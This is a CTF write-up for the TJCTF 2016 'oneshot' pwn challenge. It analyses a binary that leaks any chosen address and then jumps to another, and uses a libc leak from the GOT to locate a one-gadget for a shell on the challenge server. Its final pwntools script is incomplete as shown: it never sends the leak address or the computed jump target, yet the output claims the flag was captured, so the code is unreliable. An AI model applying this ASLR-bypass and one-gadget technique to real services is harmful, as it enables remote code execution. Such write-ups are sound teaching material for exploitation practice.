[TJCTF 2016] [EXPLOIT 170 – oneshot] Write Up


One plus one is done. `nc p.tjctf.org 8015`


This challenge was part of the TJCTF, we are given a binary.

As for any exploit/pwn challenge, let’s start with a static analysis:

laxa:~:13:25:25$ file oneshot 
oneshot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped
laxa:~:13:25:27$ checksec --file oneshot 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   oneshot

Let’s take a look at what is the binary doing:

laxa:~:13:26:30$ ./oneshot 
Read location?
Value: 0x00007f0cea4892a0
Jump location?
Good luck!
Segmentation fault

And look through the disassembled code in IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
  int (__fastcall *v4)(signed __int64); // [sp+8h] [bp-8h]@1

  setbuf(stdout, 0LL);
  puts("Read location?");
  __isoc99_scanf(4196211LL, &v4);
  printf("Value: 0x%016lx\n", *(_QWORD *)v4);
  puts("Jump location?");
  __isoc99_scanf(4196211LL, &v4);
  puts("Good luck!");
  return v4(4196247LL);

Sooooo, we can dump any value of the program and then jump at any location. The remote host has ASLR enabled also.
Since the binary is an ELF64, the only option that comes to my mind is to find and use the magic gadget.
To find out a libc address, let’s take a look at the .got:

0x600ae0 <setbuf@got.plt>:	0x0000000000400506	0x0000000000400516
0x600af0 <__libc_start_main@got.plt>:	0x00007ffff7a52a50	0x0000000000400536
0x600b00 <__isoc99_scanf@got.plt>:	0x0000000000400546	0x0000000000000000
0x600b10:	0x0000000000000000	0x0000000000000000
0x600b20 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd72a0	0x0000000000000000

From now, we will use 0x600b20 (6294304 in decimal) to dump a libc address which corresponds to the stdout. To get the corresponding offset in any libc, just do like that:

laxa:~:13:31:48$ objdump -D /lib/x86_64-linux-gnu/libc-2.19.so | grep stdout
   69715:	48 3b 1d f4 cf 33 00 	cmp    0x33cff4(%rip),%rbx        # 3a6710 <stdout>
   6b99c:	48 8b 1d 6d ad 33 00 	mov    0x33ad6d(%rip),%rbx        # 3a6710 <stdout>
   6b9ff:	48 8b 3d 0a ad 33 00 	mov    0x33ad0a(%rip),%rdi        # 3a6710 <stdout>
   6ba3c:	48 8b 3d cd ac 33 00 	mov    0x33accd(%rip),%rdi        # 3a6710 <stdout>
   6d311:	48 8b 1d f8 93 33 00 	mov    0x3393f8(%rip),%rbx        # 3a6710 <stdout>
   6d372:	48 8b 3d 97 93 33 00 	mov    0x339397(%rip),%rdi        # 3a6710 <stdout>
   6d492:	48 8b 3d 77 92 33 00 	mov    0x339277(%rip),%rdi        # 3a6710 <stdout>
   6d4d1:	48 8b 1d 38 92 33 00 	mov    0x339238(%rip),%rbx        # 3a6710 <stdout>
   6d532:	48 8b 3d d7 91 33 00 	mov    0x3391d7(%rip),%rdi        # 3a6710 <stdout>
   6d640:	48 8b 15 c9 90 33 00 	mov    0x3390c9(%rip),%rdx        # 3a6710 <stdout>
   6f2f7:	48 8b 2d 12 74 33 00 	mov    0x337412(%rip),%rbp        # 3a6710 <stdout>
   6f358:	48 8b 3d b1 73 33 00 	mov    0x3373b1(%rip),%rdi        # 3a6710 <stdout>
   752a7:	48 8b 2d 62 14 33 00 	mov    0x331462(%rip),%rbp        # 3a6710 <stdout>
   75308:	48 8b 3d 01 14 33 00 	mov    0x331401(%rip),%rdi        # 3a6710 <stdout>
00000000003a62a0 <_IO_2_1_stdout_>:
00000000003a6710 <stdout>:

The offset we are interested in is 0x3a62a0.
To find the magic gadget, I used this article, that was easy to find on my local system and I had a working exploit pretty quickly. But finding the remote library wasn’t that easy.
The formula to calculate the address of the magic is as follow:
magicGadget = stdoutLeaked – stdoutOffset + magicGadgetOffset

Let the hunt begin for the correct libc, here is a tool that was used to help me search all libcs: https://github.com/niklasb/libc-database
A few hints that I learned while searching is that, the lowest 3 bytes of the leaked address are always the same, I knew that the remote host stdout was finishing with 400, if we do that with some other addresses of the libc and make them correspond to libc we are testing, we can pretty accurately find the good one.

Libc used was: https://launchpad.net/ubuntu/trusty/amd64/libc6/2.19-0ubuntu6.6

And the final exploit is:


from pwn import *
import time

magicOffset = 0x000e681d # lib used: https://launchpad.net/ubuntu/trusty/amd64/libc6/2.19-0ubuntu6.6
stdoutOffset = 0x3bf400
stdoutInGot = 0x600b20

r = remote("p.tjctf.org", 8015)
#r = process("./oneshot")
r.recvuntil("Value: ")
addr = r.recvline()
log.info("Got libc address: " + addr)
magic = int(addr, 16) - stdoutOffset + magicOffset
log.info("MagicGadget address is: " + hex(magic))
r.sendline("cat flag.txt")
print r.recvline(),

Running it gives us:

laxa:~:13:38:37$ ./oneshot.py 
[+] Opening connection to p.tjctf.org on port 8015: Done
[*] Got libc address: 0x00007f283557d400
[*] MagicGadget address is: 0x7f28352a481d
[*] Closed connection to p.tjctf.org port 8015

Flag is: tjctf{m4gic_And_m0re_Mag1cK}

Leave a Reply

Your email address will not be published. Required fields are marked *